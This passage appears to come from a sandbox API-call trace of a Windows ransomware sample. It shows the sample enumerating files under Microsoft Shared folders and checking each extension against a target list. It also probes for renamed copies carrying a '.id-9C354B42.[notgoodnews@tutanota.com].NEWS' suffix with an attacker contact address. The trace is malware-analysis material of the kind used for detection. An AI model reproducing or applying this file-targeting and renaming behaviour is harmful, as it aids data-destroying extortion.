shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.015] lstrlenW (lpString=".doc") returned 4 [0197.015] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0197.015] lstrlenW (lpString=".docx") returned 5 [0197.015] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0197.015] lstrlenW (lpString=".pdf") returned 4 [0197.015] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0197.016] lstrlenW (lpString=".xls") returned 4 [0197.016] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0197.016] lstrlenW (lpString=".xlsx") returned 5 [0197.016] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0197.016] lstrlenW (lpString=".ppt") returned 4 [0197.017] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0197.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.017] lstrlenW (lpString=".zip") returned 4 [0197.017] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0197.017] lstrlenW (lpString=".rar") returned 4 [0197.017] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0197.017] lstrlenW (lpString=".bz2") returned 4 [0197.017] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0197.017] lstrlenW (lpString=".7z") returned 3 [0197.017] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0197.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.017] lstrlenW (lpString=".dbf") returned 4 [0197.017] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0197.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.018] lstrlenW (lpString=".1cd") returned 4 [0197.018] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0197.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.018] lstrlenW (lpString=".jpg") returned 4 [0197.018] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0197.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.018] lstrlenW (lpString=".doc") returned 4 [0197.019] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0197.019] lstrlenW (lpString=".docx") returned 5 [0197.019] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0197.019] lstrlenW (lpString=".pdf") returned 4 [0197.019] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0197.019] lstrlenW (lpString=".xls") returned 4 [0197.019] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0197.019] lstrlenW (lpString=".xlsx") returned 5 [0197.019] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0197.019] lstrlenW (lpString=".ppt") returned 4 [0197.019] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0197.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.020] lstrlenW (lpString=".zip") returned 4 [0197.020] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0197.020] lstrlenW (lpString=".rar") returned 4 [0197.020] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0197.020] lstrlenW (lpString=".bz2") returned 4 [0197.020] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0197.020] lstrlenW (lpString=".7z") returned 3 [0197.020] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0197.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.020] lstrlenW (lpString=".dbf") returned 4 [0197.020] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0197.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.021] lstrlenW (lpString=".1cd") returned 4 [0197.021] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0197.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0197.021] lstrlenW (lpString=".jpg") returned 4 [0197.021] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0197.022] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0197.022] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0197.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0197.026] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=193024) returned 1 [0197.026] CloseHandle (hObject=0x228) returned 1 [0197.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0197.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0197.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.027] lstrlenW (lpString=".doc") returned 4 [0197.027] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0197.027] lstrlenW (lpString=".docx") returned 5 [0197.027] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0197.027] lstrlenW (lpString=".pdf") returned 4 [0197.027] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0197.027] lstrlenW (lpString=".xls") returned 4 [0197.027] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0197.028] lstrlenW (lpString=".xlsx") returned 5 [0197.028] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0197.028] lstrlenW (lpString=".ppt") returned 4 [0197.028] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0197.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.028] lstrlenW (lpString=".zip") returned 4 [0197.028] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0197.028] lstrlenW (lpString=".rar") returned 4 [0197.028] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0197.028] lstrlenW (lpString=".bz2") returned 4 [0197.028] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0197.028] lstrlenW (lpString=".7z") returned 3 [0197.028] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0197.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.028] lstrlenW (lpString=".dbf") returned 4 [0197.029] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0197.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.029] lstrlenW (lpString=".1cd") returned 4 [0197.029] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0197.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.029] lstrlenW (lpString=".jpg") returned 4 [0197.029] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0197.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.030] lstrlenW (lpString=".doc") returned 4 [0197.030] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0197.030] lstrlenW (lpString=".docx") returned 5 [0197.030] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0197.030] lstrlenW (lpString=".pdf") returned 4 [0197.030] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0197.030] lstrlenW (lpString=".xls") returned 4 [0197.030] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0197.030] lstrlenW (lpString=".xlsx") returned 5 [0197.030] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0197.030] lstrlenW (lpString=".ppt") returned 4 [0197.030] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0197.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.284] lstrlenW (lpString=".zip") returned 4 [0197.284] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0197.284] lstrlenW (lpString=".rar") returned 4 [0197.284] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0197.284] lstrlenW (lpString=".bz2") returned 4 [0197.284] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0197.284] lstrlenW (lpString=".7z") returned 3 [0197.284] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0197.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.284] lstrlenW (lpString=".dbf") returned 4 [0197.284] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0197.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.285] lstrlenW (lpString=".1cd") returned 4 [0197.285] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0197.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0197.285] lstrlenW (lpString=".jpg") returned 4 [0197.285] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0197.285] Sleep (dwMilliseconds=0x64) [0198.099] Sleep (dwMilliseconds=0x64) [0198.762] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0198.763] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0198.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0198.836] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=22528) returned 1 [0198.836] CloseHandle (hObject=0x234) returned 1 [0198.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0198.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0198.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.837] lstrlenW (lpString=".doc") returned 4 [0198.837] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.837] lstrlenW (lpString=".docx") returned 5 [0198.837] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0198.837] lstrlenW (lpString=".pdf") returned 4 [0198.838] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.838] lstrlenW (lpString=".xls") returned 4 [0198.838] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.838] lstrlenW (lpString=".xlsx") returned 5 [0198.838] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0198.838] lstrlenW (lpString=".ppt") returned 4 [0198.838] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.838] lstrlenW (lpString=".zip") returned 4 [0198.838] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.838] lstrlenW (lpString=".rar") returned 4 [0198.838] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.838] lstrlenW (lpString=".bz2") returned 4 [0198.838] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.838] lstrlenW (lpString=".7z") returned 3 [0198.839] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.839] lstrlenW (lpString=".dbf") returned 4 [0198.839] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.839] lstrlenW (lpString=".1cd") returned 4 [0198.839] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.839] lstrlenW (lpString=".jpg") returned 4 [0198.839] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0198.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.840] lstrlenW (lpString=".doc") returned 4 [0198.840] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.840] lstrlenW (lpString=".docx") returned 5 [0198.840] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0198.840] lstrlenW (lpString=".pdf") returned 4 [0198.840] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.840] lstrlenW (lpString=".xls") returned 4 [0198.840] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.840] lstrlenW (lpString=".xlsx") returned 5 [0198.840] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0198.840] lstrlenW (lpString=".ppt") returned 4 [0198.840] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.841] lstrlenW (lpString=".zip") returned 4 [0198.841] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.841] lstrlenW (lpString=".rar") returned 4 [0198.841] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.841] lstrlenW (lpString=".bz2") returned 4 [0198.841] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.841] lstrlenW (lpString=".7z") returned 3 [0198.841] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.841] lstrlenW (lpString=".dbf") returned 4 [0198.841] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.842] lstrlenW (lpString=".1cd") returned 4 [0198.842] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0198.842] lstrlenW (lpString=".jpg") returned 4 [0198.842] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0198.842] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0198.842] lstrlenW (lpString="mip.exe.mui") returned 11 [0198.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0198.843] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=10240) returned 1 [0198.843] CloseHandle (hObject=0x234) returned 1 [0198.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0198.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0198.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.844] lstrlenW (lpString=".doc") returned 4 [0198.844] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.844] lstrlenW (lpString=".docx") returned 5 [0198.845] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0198.845] lstrlenW (lpString=".pdf") returned 4 [0198.845] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.845] lstrlenW (lpString=".xls") returned 4 [0198.845] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.845] lstrlenW (lpString=".xlsx") returned 5 [0198.845] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0198.845] lstrlenW (lpString=".ppt") returned 4 [0198.846] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.846] lstrlenW (lpString=".zip") returned 4 [0198.846] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.846] lstrlenW (lpString=".rar") returned 4 [0198.846] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.846] lstrlenW (lpString=".bz2") returned 4 [0198.847] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.847] lstrlenW (lpString=".7z") returned 3 [0198.847] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.847] lstrlenW (lpString=".dbf") returned 4 [0198.847] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.847] lstrlenW (lpString=".1cd") returned 4 [0198.848] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.848] lstrlenW (lpString=".jpg") returned 4 [0198.848] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0198.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.848] lstrlenW (lpString=".doc") returned 4 [0198.849] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.849] lstrlenW (lpString=".docx") returned 5 [0198.849] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0198.849] lstrlenW (lpString=".pdf") returned 4 [0198.849] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.849] lstrlenW (lpString=".xls") returned 4 [0198.849] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.849] lstrlenW (lpString=".xlsx") returned 5 [0198.850] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0198.850] lstrlenW (lpString=".ppt") returned 4 [0198.850] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.850] lstrlenW (lpString=".zip") returned 4 [0198.850] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.850] lstrlenW (lpString=".rar") returned 4 [0198.850] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.850] lstrlenW (lpString=".bz2") returned 4 [0198.851] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.851] lstrlenW (lpString=".7z") returned 3 [0198.851] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.851] lstrlenW (lpString=".dbf") returned 4 [0198.851] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.851] lstrlenW (lpString=".1cd") returned 4 [0198.851] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0198.851] lstrlenW (lpString=".jpg") returned 4 [0198.852] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0198.852] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0198.852] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0198.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0198.856] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=2560) returned 1 [0198.857] CloseHandle (hObject=0x234) returned 1 [0198.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0198.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0198.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.858] lstrlenW (lpString=".doc") returned 4 [0198.859] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.859] lstrlenW (lpString=".docx") returned 5 [0198.859] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0198.859] lstrlenW (lpString=".pdf") returned 4 [0198.859] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.859] lstrlenW (lpString=".xls") returned 4 [0198.859] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.859] lstrlenW (lpString=".xlsx") returned 5 [0198.859] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0198.859] lstrlenW (lpString=".ppt") returned 4 [0198.859] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.859] lstrlenW (lpString=".zip") returned 4 [0198.860] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.860] lstrlenW (lpString=".rar") returned 4 [0198.860] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.860] lstrlenW (lpString=".bz2") returned 4 [0198.860] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.860] lstrlenW (lpString=".7z") returned 3 [0198.860] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.860] lstrlenW (lpString=".dbf") returned 4 [0198.860] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.860] lstrlenW (lpString=".1cd") returned 4 [0198.861] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.861] lstrlenW (lpString=".jpg") returned 4 [0198.861] lstrcmpiW 